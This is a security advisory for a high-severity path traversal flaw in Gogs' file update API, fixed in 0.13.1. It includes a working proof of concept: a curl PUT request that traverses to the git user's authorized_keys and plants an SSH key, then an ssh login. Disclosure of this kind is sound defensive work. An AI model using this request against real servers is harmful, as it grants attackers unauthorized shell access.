The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
n/a
Edit any file on the server with this
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
"message": "an",
"content": "<base64encoded: your ssh pub key>"
}'
ssh connect to remote server
ssh -i temp git@localhost -p 10022
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
{ "nvd_published_at": "2024-12-23T16:15:07Z", "cwe_ids": [ "CWE-22" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-12-23T17:53:16Z" }